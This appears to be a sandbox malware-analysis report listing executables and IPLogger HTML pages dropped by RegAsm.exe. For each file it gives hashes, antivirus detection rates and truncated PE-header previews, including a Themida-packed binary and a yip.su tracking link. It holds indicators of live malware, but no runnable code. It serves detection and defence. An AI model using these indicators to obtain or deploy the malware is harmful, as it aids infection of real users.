SSDEEP:	24576:oqDEvCTbMWu7rQYlBQcBiT6rprG8auw2+b+HdiJUX:oTvC/MTQYxsWR7auw2+b+HoJU
MD5:	34C3E84E001DB4CF23A94BE34D462F11
SHA1:	9B8C2530B209F24FE68453B6B0173C240F308DA9
SHA-256:	A72A1A6DDEA799284A544697471BE6F796CB7A0B7CF8857F3FDC7277EEAE10CC
SHA-512:	F31948B3F6A431BCC4297D7AC9CA36D362947202A9B9D4322476AFE5F60C1C8E13F1E7FD93E38410F3D6ED87B2C1920709C25A0F40A23BB602F8F374527DAA5B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 35%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....5f..........".................w.............@..........................0............@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\5LzADXbR9e1baIzvWufsCa70.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34% Antivirus: Virustotal, Detection: 44%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\5W1aDm1vpFLN4gyrIiISMc4h.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32% Antivirus: Virustotal, Detection: 43%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\5aIar1h6imWjPJZYPL4QSqoe.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\AppData\Local\8sXk5E4IG9n4ZHu2M9Littnp.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75% Antivirus: Virustotal, Detection: 72%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\9SmQs0R4T5RJUISklvcv02zp.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32% Antivirus: Virustotal, Detection: 43%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\9WrQ2c2u5fxH1pcvCwwjGhdd.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75% Antivirus: Virustotal, Detection: 72%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Aghrmi42Lz5QvS8u8U6BiVXQ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255805140799215
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWo:a72A4VgEvmcH9yKCpM/e4iWo
MD5:	F6DFD7F39EF9EEF9094A36B574ADFA5E
SHA1:	B57E4E7B8D0D1E9BC9238D79A7D7B7536812CC7B
SHA-256:	1E0BFF105B6B55998E1B569CC2A9AD5A2792D8FC7F020630DEAE401000F510F0
SHA-512:	5258C4E3A4952A3F09C0BB44D07CA237071BF1BABB2D2B4D5B54966E4CB7FA87FE309546775E2D2A0B54EA31B8F5F4FBA189265CD6AE715EB9127EE69D4FEAA6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 43% Antivirus: Virustotal, Detection: 43%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Bkg8NSHXvizTVBsjT3dzRvci.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75% Antivirus: Virustotal, Detection: 72%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\C893DEcM3dAA247WrHBz1SDW.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255805140799215
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWo:a72A4VgEvmcH9yKCpM/e4iWo
MD5:	F6DFD7F39EF9EEF9094A36B574ADFA5E
SHA1:	B57E4E7B8D0D1E9BC9238D79A7D7B7536812CC7B
SHA-256:	1E0BFF105B6B55998E1B569CC2A9AD5A2792D8FC7F020630DEAE401000F510F0
SHA-512:	5258C4E3A4952A3F09C0BB44D07CA237071BF1BABB2D2B4D5B54966E4CB7FA87FE309546775E2D2A0B54EA31B8F5F4FBA189265CD6AE715EB9127EE69D4FEAA6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 43% Antivirus: Virustotal, Detection: 43%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\CmCQsbfi77SnYQWckHTzUjRg.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34% Antivirus: Virustotal, Detection: 44%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\EUl5mGPccm3Ux8yn4fNnNA26.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\AppData\Local\EubzUqqfLmBbNiHWxubQa6s2.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\AppData\Local\GIz2DLitsyoTn14REJti2nqN.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326656
Entropy (8bit):	6.704045744410397
Encrypted:	false
SSDEEP:	3072:uJNgSgE68pOq15/QN1cV+exuCNT0XLeaU2eAoX4QwqnoBm9sZ2gfg2eX15CFusKP:UnN15YgV27It/4QwkoBm9Vg5m1GK0
MD5:	FECBBAC6C0B95A95776F29BDAA57C6D5
SHA1:	DC1B7F093F0FCEC1502916F2F248ECB5916F15CC
SHA-256:	83765226ABB0423196C083BC6B6FB5E8EA2D078B4C885165FEC1401ACB581695
SHA-512:	1B1D573930B2FE99B91A327DFAE23C14536A29A4E71898E77D6B8697B11A521EE07F4032F5F26ABB1DB28BBF6E6D198599C68ABAD984B6C6C15C7EFD1EA9AFCF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....Zd.....................\|`......A....... ....@...........................a......'.........................................<....._. ............................!..8............................y..@............ ..x............................text............................... ..`.rdata..<m... ...n..................@..@.data.....]......n...~..............@....rsrc... ....._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\H3bqnZf96LFIOlogieo3h5K9.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34% Antivirus: Virustotal, Detection: 44%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\K7e4fpNGO8JkAsFxVXguIAcd.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\AppData\Local\KHojJ9v7XtNSHZfW6gAnnH23.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32% Antivirus: Virustotal, Detection: 43%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\LIdx8BlqmZTW07MQOtXboF4f.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	2437912
Entropy (8bit):	7.913512358164593
Encrypted:	false
SSDEEP:	49152:25HOOeI0PrBsku297659/XQR70jEUHD5Gl09XCWKYhNj:25rebqkXe5ZQRA/FGl0Z3KKj
MD5:	F6A0D4349D9A0CEAB75A7BAF7285F2A9
SHA1:	9ABFF945F6987830AA0A1E2FB798080DC91011D6
SHA-256:	B48255236A72B0D96FD25F42BE98CFB1694AA7D4824EE46C2E3B0DB397B7FDDF
SHA-512:	BB701C5BF26A9DEBDCB325DE902BC4A254EFBBF737129BBA86D19A1207E647F54BA1D2056A68ED39B22BBD14BB50D2125C9D82FFDB7337806975FCBA6A1B4C9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42% Antivirus: Virustotal, Detection: 37%, Browse
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d.....)f.........."....'.....J........i........@......................................%... ..................................................`.......'.......h.......$..a...................................p.(................................................... ..'............................. ......'..........................rsrc.........'.....................@....idata.......`......X..............@....tls.........p......Z...................themida..>...*......\..............`....boot....v....i..v...\..............`..`........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MTc4G09Eq4noHZ0G091uBZf1.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\swiiii.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
